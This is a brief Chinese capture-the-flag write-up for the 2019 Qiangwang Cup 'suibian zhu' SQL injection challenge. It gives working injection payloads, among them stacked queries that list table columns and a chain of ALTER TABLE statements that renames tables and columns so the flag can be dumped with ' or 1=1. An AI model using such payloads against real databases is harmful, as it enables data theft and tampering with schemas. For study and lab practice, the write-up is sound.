[强网杯 2019]随便注
输入’报错

用order by 查出有两个字段


这里发现select被过滤,我绕不过

试了一下能进行堆叠注入

查到两个表 1919810931114514、words
查询表中列
?inject=’;show columns from 1919810931114514 %23

?inject=’;show columns from words %23

禁用了select,可以采用预编译来爆数据
这里存在大小写绕过


alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#
这种是猜测默认查words中的数据
此payload是将words改为words1,将1919810931114514改为words,将其中数据列也改为id varchar(50)
再通过’ or 1=1查全部数据


表名为数字时,要用反引号包起来查询